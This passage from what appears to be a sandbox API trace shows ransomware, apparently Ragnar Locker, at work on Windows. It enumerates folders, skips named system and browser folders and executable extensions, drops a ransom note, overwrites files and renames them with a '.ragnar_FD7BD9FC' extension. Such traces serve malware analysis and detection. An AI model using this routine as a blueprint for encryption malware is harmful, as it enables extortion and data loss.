dwFreeType=0x8000) returned 1 [0072.589] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x81fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.590] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.590] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.590] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0072.590] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0072.590] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.590] GetProcessHeap () returned 0x580000 [0072.590] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0072.590] CloseHandle (hObject=0x10c) returned 1 [0072.591] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" [0072.591] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.ragnar_FD7BD9FC" [0072.591] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0072.592] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.592] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.592] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2=".") returned 1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="..") returned 1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Windows") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Windows.old") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Tor browser") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Internet Explorer") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Google") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Opera") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Opera Software") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Mozilla") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="Mozilla Firefox") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="$Recycle.Bin") returned 1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="ProgramData") returned -1 [0072.592] lstrcmpiW (lpString1="ECHO", lpString2="All Users") returned 1 [0072.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0072.593] lstrcpyW (in: lpString1=0x1eb638, lpString2="ECHO" | out: lpString1="ECHO") returned="ECHO" [0072.593] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\" [0072.593] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\" [0072.593] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\RGNR_FD7BD9FC.txt" [0072.593] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0072.596] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*" [0072.596] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0072.596] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.596] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0072.596] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d81fc20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d81fc20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.596] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0072.596] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d81fc20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d81fc20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.596] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0072.597] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0072.597] lstrcmpiW (lpString1="ECHO.ELM", lpString2=".") returned 1 [0072.597] lstrcmpiW (lpString1="ECHO.ELM", lpString2="..") returned 1 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0072.597] lstrcmpiW (lpString1="ECHO.INF", lpString2=".") returned 1 [0072.597] lstrcmpiW (lpString1="ECHO.INF", lpString2="..") returned 1 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0072.597] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0072.597] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d81fc20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7d81fc20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0072.597] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0072.597] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0072.597] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0072.597] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0072.597] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0072.597] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d81fc20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d81fc20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7d81fc20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7d81fc20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.597] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0072.597] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0072.597] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ECHO.ELM" | out: lpString1="ECHO.ELM") returned="ECHO.ELM" [0072.597] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned=".ELM" [0072.597] lstrcmpiW (lpString1="ECHO.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0072.597] lstrcmpiW (lpString1="ECHO.ELM", lpString2="autorun.inf") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="boot.ini") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="bootfont.bin") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="bootsect.bak") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="bootmgr") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="bootmgr.efi") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="bootmgfw.efi") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="desktop.ini") returned 1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="iconcache.db") returned -1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="ntldr") returned -1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="ntuser.dat") returned -1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="ntuser.dat.log") returned -1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="ntuser.ini") returned -1 [0072.598] lstrcmpiW (lpString1="ECHO.ELM", lpString2="thumbs.db") returned -1 [0072.598] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0072.598] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0072.598] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0072.598] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0072.598] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0072.598] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0072.598] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0072.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm")) returned 0x20 [0072.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x100 [0072.654] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=45262) returned 1 [0072.654] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb0c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.654] GetProcessHeap () returned 0x580000 [0072.654] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0072.654] ReadFile (in: hFile=0x100, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0073.076] VirtualAlloc (lpAddress=0x0, dwSize=0xb0ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0073.080] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.080] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0073.080] ReadFile (in: hFile=0x100, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb0ce, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb0ce, lpOverlapped=0x0) returned 1 [0073.084] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0073.084] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb0ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.084] WriteFile (in: hFile=0x100, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb0ce, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb0ce, lpOverlapped=0x0) returned 1 [0073.084] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb0ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.084] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0073.085] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0xb0ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.085] LockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.085] WriteFile (in: hFile=0x100, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.085] WriteFile (in: hFile=0x100, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0073.085] WriteFile (in: hFile=0x100, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0073.085] UnlockFile (hFile=0x100, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.085] GetProcessHeap () returned 0x580000 [0073.085] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0073.085] CloseHandle (hObject=0x100) returned 1 [0073.086] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" [0073.086] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.ragnar_FD7BD9FC" [0073.087] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0073.088] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1 [0073.088] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0073.089] lstrcpyW (in: lpString1=0x1eab6a, lpString2="ECHO.INF" | out: lpString1="ECHO.INF") returned="ECHO.INF" [0073.089] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF") returned=".INF" [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="autorun.inf") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="boot.ini") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="bootfont.bin") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="bootsect.bak") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="bootmgr") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="bootmgr.efi") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="bootmgfw.efi") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="desktop.ini") returned 1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="iconcache.db") returned -1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="ntldr") returned -1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="ntuser.dat") returned -1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="ntuser.dat.log") returned -1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="ntuser.ini") returned -1 [0073.089] lstrcmpiW (lpString1="ECHO.INF", lpString2="thumbs.db") returned -1 [0073.089] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0073.089] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0073.089] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0073.089] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0073.089] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0073.089] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0073.089] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0073.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf")) returned 0x20 [0073.089] CreateFileW (lpFileName="\\\\?\\C:\\Program 